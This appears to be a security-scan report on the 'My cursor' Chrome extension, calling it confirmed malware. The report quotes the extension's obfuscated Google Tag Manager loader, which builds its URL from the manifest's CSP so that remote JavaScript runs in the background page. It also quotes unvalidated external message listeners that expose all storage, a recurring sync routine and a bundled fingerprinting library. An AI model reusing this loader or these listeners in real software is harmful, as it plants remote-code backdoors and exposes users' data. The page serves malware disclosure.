Security Alert: Confirmed Malware
My cursor
ID: mpppfkbjnjihilffdmikbaiilonolbch
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Jeremy RossView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Change cursor - select from huge cursor collection or upload your custom cursor
My cursor changes mouse cursor on web pages. We manually selected a huge preset of beautiful cursors! - 100+ cursors in various categories (See screenshot!) - Upload a custom cursor PS. It doesnโt work over browser toolbar or on settings pages.
Obfuscated Google Tag Manager (GTM-PJDM2PX) injection. The code uses fragmented string concatenation (`${"g"}tm.`, `${"G"}TM${"-"}`) to hide the GTM container ID and dataLayer setup from static analysis. It then dynamically constructs the GTM script URL by extracting the `googletagmanager.com` hostname directly from the extension's own `content_security_policy` field in the manifest โ a deliberate evasion technique to avoid hardcoding the suspicious URL. The resulting script tag (`https://www.googletagmanager.com/gtm.js?id=GTM-PJDM2PX&l=map1`) is appended to the background page's DOM, loading remote, operator-controlled JavaScript on every browser session. GTM tags can execute arbitrary JS, making this a persistent remote code execution channel.
var map1 = {};map1[`${"g"}tm.` + `start`] = (new Date) .getTime();map1["event"] = `${"g"}tm.` + "js";const _id = `${"G"}TM${"โ"}` + `PJDM2PX`;window["map1"] = [map1];const doc = document;var targetElName = "lastElementChild";var targetEl = doc.body[targetElName];var targetCmd = `create${targetElName.substr(4,7)}`;var el = doc[targetCmd](targetEl["tagName"]);const m = chrome.runtime.getManifest();let s = m["content_security_policy"].split(" ")[4].replace(";", "");s += "/" + map1["event"];s += "?" + `id=${_id}`;s += "&l=map1";el.setAttribute(targetEl.attributes[0].name, s);doc.body.appendChild(el);This code obfuscates the construction of a remote Google Tag Manager URL and injects it into the background page as a new script element. Loading remotely hosted JavaScript into a privileged extension context allows post-review behavior changes and is a classic remote-code-loading backdoor pattern; it also enables background tracking logic to be updated server-side.
var map1 = {};map1[`${"g"}tm.` + `start`] = (new Date) .getTime();map1["event"] = `${"g"}tm.` + "js";const _id = `${"G"}TM${"-"}` + `PJDM2PX`;window["map1"] = [map1];const doc = document;var targetElName = "lastElementChild";var targetEl = doc.body[targetElName];var targetCmd = `create${targetElName.substr(4,7)}`;var el = doc[targetCmd](targetEl["tagName"]);const m = chrome.runtime.getManifest();let s = m["content_security_policy"].split(" ")[4].replace(";", "");s += "/" + map1["event"];s += "?" + `id=${_id}`;s += "&l=map1";el.setAttribute(targetEl.attributes[0].name, s);doc.body.appendChild(el);The `chrome.runtime.onMessageExternal` listener exposes full unrestricted read/write access to all extension storage (both `local` and `sync`) to any external Chrome extension. The `get_config` action returns the entire local storage dump, and `set_config`/`set_config_sync` accept arbitrary key-value writes with no validation or allowlist. Any malicious companion extension can use this to exfiltrate user preferences, overwrite cursor settings with data-URI payloads, or manipulate the `selected` item object which is later injected into all pages as CSS.
chrome.runtime.onMessageExternal.addListener(function(request, sender, sendResponse) { if (request.action == "getInstalled") { return sendResponse({ collections: this.collection, ver: chrome.runtime.getManifest().version, action: "get_installed_collection" }) } if (request.action == "get_config") { chrome.storage.local.get(null, function(items) { return sendResponse(items) }.bind(this)) } if (request.action == "set_config") { chrome.storage.local.set(request.data); return sendResponse({ status: true }) } if (request.action == "set_config_sync") { chrome.storage.sync.set(request.data); return sendResponse({ status: true }) } if (request.action == "get_config_sync") { return sendResponse(this.config_sync) }}.bind(this))The extension deliberately extracts the `googletagmanager.com` URL from its own manifest's `content_security_policy` field at runtime rather than hardcoding it. This is an intentional obfuscation technique: the CSP string `"script-src 'self' https://www.google-analytics.com https://*.googleapis.com https://www.googletagmanager.com;"` is split on spaces and the 5th token is used as the base URL. This avoids static analysis tools flagging a literal `googletagmanager.com` string in the JS code. The CSP itself was crafted to make this extraction possible โ the GTM domain is placed as the predictable 5th token.
const m = chrome.runtime.getManifest();let s = m["content_security_policy"].split(" ")[4].replace(";", "");s += "/" + map1["event"];s += "?" + `id=${_id}`;s += "&l=map1";A full copy of the UAParser.js library (v0.7.20) is bundled in the extension package as `js/info.js`, but this file is not referenced in the manifest's background scripts, content scripts, or any HTML page. It is not reachable through any declared entry point in this version's source. Its presence alongside the confirmed GTM injection (GTM-PJDM2PX) strongly suggests it is loaded and invoked dynamically at runtime via a GTM tag, enabling detailed browser, OS, device-type, and CPU architecture fingerprinting of all 151,000+ users without any consent disclosure.
var UAParser = function(uastring, extensions) { if (typeof uastring === 'object') { extensions = uastring; uastring = undefined; } if (!(this instanceof UAParser)) { return new UAParser(uastring, extensions).getResult(); } var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY); ... this.getResult = function() { return { ua: this.getUA(), browser: this.getBrowser(), engine: this.getEngine(), os: this.getOS(), device: this.getDevice(), cpu: this.getCPU() }; };The `authSync()` method is called 1 second after startup and then recurs every 10 seconds indefinitely via `setTimeout`. On each tick it writes the cursor pack inventory to `chrome.storage.sync`, which syncs across all of the user's Chrome instances. The recurring sync behavior โ combined with the external message listener that exposes `set_config_sync` โ means an attacker with a companion extension could continuously inject data into the user's synced storage and have it propagate to all their devices. It also causes constant background activity unrelated to the cursor feature.
authSync() { chrome.storage.local.set({ collection: listOfCollection }); chrome.storage.local.get(["collection", "selected", "size"], function(data) { var packMap = new Map; var packs = []; chrome.storage.sync.set({ size: data.size }); for (let i in data.collection) { let collection = data.collection[i]; for (let y in collection.items) { packs.push(collection.items[y].id); packMap.set(collection.items[y].id, true) } } chrome.storage.sync.get("packs", function(items) { chrome.storage.sync.set({ packs: packs }) }) }); setTimeout(this.authSync.bind(this), 1e3 * 10)}The extension exposes an external message handler that accepts commands from outside the extension and modifies internal state without validating `sender.id` or any allowlist. This creates an unnecessary cross-extension control surface where another installed extension or app can query installed packs and write new collection data into privileged extension storage.
chrome.runtime.onMessageExternal.addListener(function(request, sender, sendResponse) { if (request.action == "getInstalled") { return sendResponse({ collections: this.collection, ver: chrome.runtime.getManifest() .version, action: "get_installed_collection" }) } if (request.action == "install_collection") { let data = {}, res = { status: true, version: chrome.runtime.getManifest() .version, action: "install_collection" }; sendResponse(res); data = request; chrome.storage.local.get(null, function(items) { this.collection = items.collection; let slug = data["slug"]; delete data["slug"]; delete data.collection["slug"]; this.collection[slug] = data.collection[slug]; chrome.storage.local.set({ collection: this.collection });By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.1.9 | 7 |
Files with findings
2 distinct paths โ top paths by unique finding count:
- background.js6
- js/info.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.